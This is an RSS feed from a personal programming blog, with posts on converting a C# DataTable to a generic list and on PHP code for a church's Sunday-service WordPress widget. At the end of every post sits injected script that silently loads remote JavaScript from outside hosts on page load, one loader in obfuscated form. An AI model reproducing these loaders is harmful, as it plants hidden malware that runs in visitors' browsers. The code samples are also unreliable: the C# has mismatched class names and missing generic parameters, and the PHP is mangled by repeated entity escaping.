<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>heinriches.com &#187; Programming</title>
	<atom:link href="http://www.heinriches.com/category/programming/feed" rel="self" type="application/rss+xml" />
	<link>http://www.heinriches.com</link>
	<description>working=IsWifeAround();</description>
	<lastBuildDate>Wed, 12 Nov 2025 13:43:37 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.8.41</generator>
	<item>
		<title>Convert DataTable to Generic List</title>
		<link>http://www.heinriches.com/convert-datatable-to-generic-list</link>
		<comments>http://www.heinriches.com/convert-datatable-to-generic-list#comments</comments>
		<pubDate>Thu, 05 Jan 2012 17:57:36 +0000</pubDate>
		<dc:creator><![CDATA[Matt]]></dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.heinriches.com/?p=101</guid>
		<description><![CDATA[Have you ever had to work with a datatable and then need to convert it to a generic list? I run into this when I am converting older application or working with Oracle DBs and would like to use linq to work with the result set. Now on the surface this does not look hard [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Have you ever had to work with a datatable and then need to convert it to a generic list? I run into this when I am converting older application or working with Oracle DBs and would like to use linq to work with the result set. Now on the surface this does not look hard right? You create a datatable and fill it with data and do something like datable.AsEnumerator().ToList() and there you go, you have a  generic list of the datarows. But what if you have a custom object that you would like to use instead of datarows.</p>
<p>How do you do that? Well I google several things and found <a title="Converting Custom Collections To and From DataTable" href="http://lozanotek.com/blog/archive/2007/05/09/Converting_Custom_Collections_To_and_From_DataTable.aspx">Javier G. Lozano&#8217;s Great Example</a> and some others that would work very good. Of course I was not satisfied with that, oh no I had to take it up a level and ask what if I wanted the property names different. Well that is where reflection &amp; custom attributes comes in.</p>
<p>Let&#8217;s say my sql query returns a datatable with the following columns:</p>
<ul>
<li>Art_ID</li>
<li>CMR</li>
<li>Client_Number</li>
<li>Artwork_Number</li>
</ul>
<p>But my object has the following properties:</p>
<ul>
<li>ID</li>
<li>CMR</li>
<li>ClientNumber</li>
<li>ArtNumber</li>
</ul>
<p>They do not match. We could loop through the datatable and fill a list that way, but it is not very reusable.</p>
<p>Step 1:</p>
<p>Create custom attribute class:</p>
<php>
[AttributeUsage(AttributeTargets.Property,AllowMultiple = true)]<br />
    public class ArtWorkName : Attribute<br />
    {<br />
        public ArtworkName(string fieldname)<br />
        {<br />
            FieldName = fieldname;<br />
        }<br />
        public string FieldName { get; set; }<br />
    }</php>
Step 2:</p>
<p>Add the custom attributes to your properties:<br />
<sourcecode lang="csharp">public class myArtwork<br />
{<br />
[ArtworkName("Art_ID")]<br />
public int ID { get; set; }</p>
<p>public string CMR { get; set; }</p>
<p>[ArtworkName("Client_Number")]<br />
public string ClientNumber { get; set; }</p>
<p>[ArtworkName("Artwork_Number")]<br />
public string ArtNumber { get; set; }<br />
}</sourcecode><br />
Step 3:<br />
Create an extension class:<br />
<sourcecode>public static IList ConvertTo(this DataTable dt)<br />
        {<br />
            IList list = null;</p>
<p>            if (dt.Rows.Count&gt;0)<br />
            {<br />
                list = new List();</p>
<p>                foreach (DataRow row in dt.Rows)<br />
                {<br />
                    T item = Activator.CreateInstance();</p>
<p>                    var properties = typeof(T).GetProperties();</p>
<p>                    foreach (var p in properties)<br />
                    {<br />
                        var fieldnames = p.GetCustomAttributes(typeof(ArtworkName), false);</p>
<p>                        if (fieldnames.Count() &gt; 0)<br />
                        {<br />
                            var fn = fieldnames[0] as ArtworkName;</p>
<p>                            p.SetValue(item, row[fn.FieldName], null);</p>
<p>                        }<br />
                        else<br />
                        {<br />
                             if (dt.Columns.Contains(p.Name))<br />
                            {<br />
                                p.SetValue(item, row[p.Name], null);<br />
                            }<br />
                        }</p>
<p>                    }</p>
<p>                    list.Add(item);<br />
                }<br />
            }</p>
<p>            return list;<br />
        }</p>
<p>    }</sourcecode><br />
Step 3 explained some:</p>
<ol>
<li>Get all the properties of your object:<br />
<sourcecode>var properties = typeof(T).GetProperties();</sourcecode>
</li>
<li>Loop through the collection of properties:<br />
<sourcecode>foreach (var p in properties)</sourcecode>
</li>
<li>Get the custom attribute for the current property:<br />
<sourcecode>var fieldnames = p.GetCustomAttributes(typeof(ArtworkName), false);</sourcecode>
</li>
<li>Get the field name from the custom attribute: *Note: Since my custom atribute had only one element, I know it would be the first one.<br />
<sourcecode>var fn = fieldnames[0] as ArtworkName;</sourcecode>
</li>
<li>Populate the property change with the current row value:<br />
<sourcecode>p.SetValue(item, row[fn.FieldName], null);</sourcecode>
</li>
<li>Repeat</li>
</ol>
<p>Here is the whole thing:<br />
<sourcecode lang="csharp">using System;<br />
using System.Collections.Generic;<br />
using System.Linq;<br />
using System.Text;<br />
using System.Data;</p>
<p>namespace TestDTToList<br />
{<br />
    public class myArtwork<br />
    {<br />
        [ArtworkName("Art_ID")]<br />
        public int ID { get; set; }</p>
<p>        public string CMR { get; set; }</p>
<p>        [ArtworkName("Client_Number")]<br />
        public string ClientNumber { get; set; }</p>
<p>        [ArtworkName("Artwork_Number")]<br />
        public string ArtNumber { get; set; }<br />
    }</p>
<p>    [AttributeUsage(AttributeTargets.Property,AllowMultiple = true)]<br />
    public class ArtWorkName : Attribute<br />
    {<br />
        public ArtworkName(string fieldname)<br />
        {<br />
            FieldName = fieldname;<br />
        }<br />
        public string FieldName { get; set; }<br />
    }</p>
<p>    public static class DataTableHelper<br />
    {</p>
<p>        public static IList ConvertTo(this DataTable dt)<br />
        {<br />
            IList list = null;</p>
<p>            if (dt.Rows.Count&gt;0)<br />
            {<br />
                list = new List();</p>
<p>                foreach (DataRow row in dt.Rows)<br />
                {<br />
                    T item = Activator.CreateInstance();</p>
<p>                    var properties = typeof(T).GetProperties();</p>
<p>                    foreach (var p in properties)<br />
                    {<br />
                        var fieldnames = p.GetCustomAttributes(typeof(ArtworkName), false);</p>
<p>                        if (fieldnames.Count() &gt; 0)<br />
                        {<br />
                            var fn = fieldnames[0] as ArtworkName;</p>
<p>                            p.SetValue(item, row[fn.FieldName], null);</p>
<p>                        }<br />
                        else<br />
                        {<br />
if (dt.Columns.Contains(p.Name))<br />
                            {<br />
                                p.SetValue(item, row[p.Name], null);<br />
                            }<br />
                        }</p>
<p>                    }</p>
<p>                    list.Add(item);<br />
                }<br />
            }</p>
<p>            return list;<br />
        }</p>
<p>    }<br />
}</sourcecode><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.heinriches.com/convert-datatable-to-generic-list/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Links</title>
		<link>http://www.heinriches.com/links</link>
		<comments>http://www.heinriches.com/links#comments</comments>
		<pubDate>Thu, 24 Nov 2011 18:55:05 +0000</pubDate>
		<dc:creator><![CDATA[Matt]]></dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.heinriches.com/?p=91</guid>
		<description><![CDATA[So as I am at our families for thanksgiving (they are watching football and I am researching wordpress this stuff, lol I am such a geek). I found these great links and thought I would share them. Custom post types in WordPress Including Page Templates from a WordPress Plugin WordPress Custom Post Type Code Generator [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>So as I am at our families for thanksgiving (they are watching football and I am researching wordpress this stuff, lol I am such a geek). I found these great links and thought I would share them.</p>
<ul>
<li><a href="http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress">Custom post types in WordPress</a></li>
<li><a href="http://www.unfocus.com/2010/08/10/including-page-templates-from-a-wordpress-plugin/">Including Page Templates from a WordPress Plugin</a></li>
<li><a href="http://themergency.com/generators/wordpress-custom-post-types/">WordPress Custom Post Type Code Generator</a></li>
</ul>
<div>I have found them very interesting and will be using some of these methods in my post.</div>
<p><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.heinriches.com/links/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sunday Service Widget</title>
		<link>http://www.heinriches.com/sunday-service-widget</link>
		<comments>http://www.heinriches.com/sunday-service-widget#comments</comments>
		<pubDate>Tue, 22 Nov 2011 18:54:49 +0000</pubDate>
		<dc:creator><![CDATA[Matt]]></dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.heinriches.com/?p=65</guid>
		<description><![CDATA[Here is my widget to display the proper sunday service time based on the week of the month. WordPress is becoming my favorite CMS. To display the widget I extend the widget function. Of course you need to have enter the information. Here is the file to download and install:Sunday Widget]]></description>
				<content:encoded><![CDATA[<p>Here is my widget to display the proper sunday service time based on the week of the month. WordPress is becoming my favorite CMS.</p>
<p>To display the widget I extend the widget function.</p>
<pre class="brush: php; title: ; notranslate">
  function widget($args, $instance){
	extract( $args );
    	$title = apply_filters( 'widget_title', $instance['title'] );	
    	$nextSunday = strtotime(&amp;amp;amp;quot;next sunday&amp;amp;amp;quot;);
	$wn = ceil( date( 'j', $nextSunday) / 7 );
	$ldom = mktime(0, 0, 0, (date('m') + 1), 0, date('Y'));
		
	$diff = round(abs($nextSunday-$ldom)/86400);
	$text = &amp;amp;amp;quot;&amp;amp;amp;quot;;
				
	switch ($wn) {
    	  case 1:
            $text= $instance['Sunday1'];
            break;
    	  case 2:
            $text= $instance['Sunday2'];
            break;
    	  case 3:
             $text= $instance['Sunday3'];
             break;
          case 4:
             if (diff&amp;amp;amp;gt;=7){
        	$text= $instance['Sunday4'];
             }else {
        	$text= $instance['Sunday5'];
             }
           break;
           case 5:
        	$text= $instance['Sunday5'];
        	break;
	}?&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;?php echo $before_widget; ?&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;div class=&amp;amp;amp;quot;clsPageContent&amp;amp;amp;quot;&amp;amp;amp;gt;
		
		
		&amp;amp;amp;lt;?php if ($title) { echo $before_title 
                                           . &amp;amp;amp;quot;&amp;amp;amp;lt;h3&amp;amp;amp;gt;&amp;amp;amp;quot; 
                                           . $title 
                                           . &amp;amp;amp;quot;&amp;amp;amp;quot; 
                                           . $after_title; } ?&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;ul&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;Sunday:&amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;lt; ?php echo $text ?&amp;amp;amp;gt; &amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;amp;nbsp;&amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;lt; ?php echo  $instance['MidWeekName'] ?&amp;amp;amp;gt; :&amp;amp;amp;lt;/li&amp;amp;amp;gt;
			&amp;amp;amp;lt;li&amp;amp;amp;gt;&amp;amp;amp;lt; ?php echo  $instance['MidWeekTime'] ?&amp;amp;amp;gt; &amp;amp;amp;lt;/li&amp;amp;amp;gt;
		&amp;amp;amp;lt;/ul&amp;amp;amp;gt;&amp;amp;amp;lt;ul&amp;amp;amp;gt;
		
		&amp;amp;amp;lt;p&amp;amp;amp;gt;
			&amp;amp;amp;lt; ?php echo  $instance['ExtraMessage'] ?&amp;amp;amp;gt;
		&amp;amp;amp;lt;/p&amp;amp;amp;gt;
		&amp;amp;amp;lt;/ul&amp;amp;amp;gt;&amp;amp;amp;lt;/div&amp;amp;amp;gt;
		
		&amp;amp;amp;lt; ?php echo $after_widget; ?&amp;amp;amp;gt;
		
    	&amp;amp;amp;lt; ?php
	
	}

</pre>
<p>Of course you need to have enter the information.</p>
<pre class="brush: php; title: ; wrap-lines: true; notranslate">
function form($instance){
      $defaults = array( 'title' =&amp;amp;amp;gt; 'Example', 
                         'name' =&amp;amp;amp;gt; 'John Doe', 
			'Sunday1' =&amp;amp;amp;gt; '10 AM and 5 PM',
			'Sunday2' =&amp;amp;amp;gt; '2 PM and No Evening Service',
			'Sunday3' =&amp;amp;amp;gt; '10 AM and 5 PM',
			'Sunday4' =&amp;amp;amp;gt; '10 AM and 5 PM',
			'Sunday5' =&amp;amp;amp;gt; '10 AM and No Evening Service',
			'MidWeekName' =&amp;amp;amp;gt; 'Monday',
			'MidWeekTime' =&amp;amp;amp;gt; '7 PM',
			'ExtraMessage' =&amp;amp;amp;gt; ''
			);
								
       $instance = wp_parse_args( (array) $instance, $defaults ); ?&amp;amp;amp;gt;
			
	&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'title' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Title:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
	&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'title' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'title' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['title']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
		&amp;amp;amp;lt;br/&amp;amp;amp;gt;
		&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
	&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday1' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; First Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
	&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday1' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday1' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday1']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
		&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday2' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Second Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday2' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday2' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday2']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday3' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Third Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday3' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday3' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday3']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday4' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Fourth Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday4' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday4' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday4']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday5' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Fifth Sunday:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'Sunday5' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'Sunday5' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['Sunday5']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekName' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Mid Week Service:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekName' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'MidWeekName' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['MidWeekName']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekTime' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Mid Week Time:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'MidWeekTime' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'MidWeekTime' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['MidWeekTime']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
					
					&amp;amp;amp;lt;label for=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'ExtraMessage' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot;&amp;amp;amp;gt; Extra Message:&amp;amp;amp;lt;/label&amp;amp;amp;gt;
					&amp;amp;amp;lt;input id=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_id( 'ExtraMessage' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; name=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $this-&amp;amp;amp;gt;get_field_name( 'ExtraMessage' ); ?&amp;amp;amp;gt;&amp;amp;amp;quot; value=&amp;amp;amp;quot;&amp;amp;amp;lt;?php echo $instance['ExtraMessage']; ?&amp;amp;amp;gt;&amp;amp;amp;quot; style=&amp;amp;amp;quot;width:100%;&amp;amp;amp;quot; /&amp;amp;amp;gt;
					&amp;amp;amp;lt;br/&amp;amp;amp;gt;
			&amp;amp;amp;lt;?php
	}
</pre>
<p>Here is the file to download and install:<a title="Sunday Widget" href="http://www.heinriches.com/assets/widgetSunday.php_.zip">Sunday Widget</a><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.heinriches.com/sunday-service-widget/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Next Sunday</title>
		<link>http://www.heinriches.com/next-sunday</link>
		<comments>http://www.heinriches.com/next-sunday#comments</comments>
		<pubDate>Tue, 22 Nov 2011 13:54:41 +0000</pubDate>
		<dc:creator><![CDATA[Matt]]></dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.heinriches.com/?p=58</guid>
		<description><![CDATA[I am currently working on our church website and we have discovered an interesting issue. Our church services changes based on which week the sunday falls under. Example: Church is at 10am and 5pm Church is at 2pm and no evening service Church is at 10am and 5pm if last sunday of month then 10am [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I am currently working on our church website and we have discovered an interesting issue. Our church services changes based on which week the sunday falls under.</p>
<p>Example:</p>
<ol>
<li>Church is at 10am and 5pm</li>
<li>Church is at 2pm and no evening service</li>
<li>Church is at 10am and 5pm</li>
<li>if last sunday of month then 10am and no evening service else 10am and 5pm</li>
<li>Church is at 10am and no evening service</li>
</ol>
<p>So how do you figure out how to do this?</p>
<p>PHP has a great function called strtotime. It will take plain english and return a unix timestamp. You then take that date and get it&#8217;s week number and divide by 7 and take the ceiling and &#8230;. let me just show you the code.</p>
<pre class="brush: php; title: ; notranslate">
try {
     $nextSunday = strtotime(&amp;amp;amp;quot;next sunday&amp;amp;amp;quot;);
     $wn = ceil( date( 'j', $nextSunday) / 7 );
     $ldom = mktime(0, 0, 0, (date('m') + 1), 0, date('Y'));

     $diff = round(abs($nextSunday-$ldom)/86400);

     switch ($wn) {
          case 1:
               echo &amp;amp;amp;quot;First Sunday&amp;amp;amp;quot;;
             break;
          case 2:
               echo &amp;amp;amp;quot;Second Sunday&amp;amp;amp;quot;;
             break;
          case 3:
               echo &amp;amp;amp;quot;Third Sunday&amp;amp;amp;quot;;
             break;
         case 4:
              if (diff&amp;amp;amp;amp;gt;=7){
                   echo &amp;amp;amp;quot;Fourth Sunday&amp;amp;amp;quot;;
              }else {
                   echo &amp;amp;amp;quot;Last Sunday&amp;amp;amp;quot;;
              }
            break;
         case 5:
             echo &amp;amp;amp;quot;Last Sunday&amp;amp;amp;quot;;
         break;
       }

     echo &amp;amp;amp;quot;&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;amp;amp;quot;;
   }
     catch(Exception $e) {
     echo($e);
   }
</pre>
<p>See that makes sense right? Ok it took me a little bit too. Next post I hope to show how to wrap this into a wordpress widget.</p>
<p>Happy Coding<script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.heinriches.com/next-sunday/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
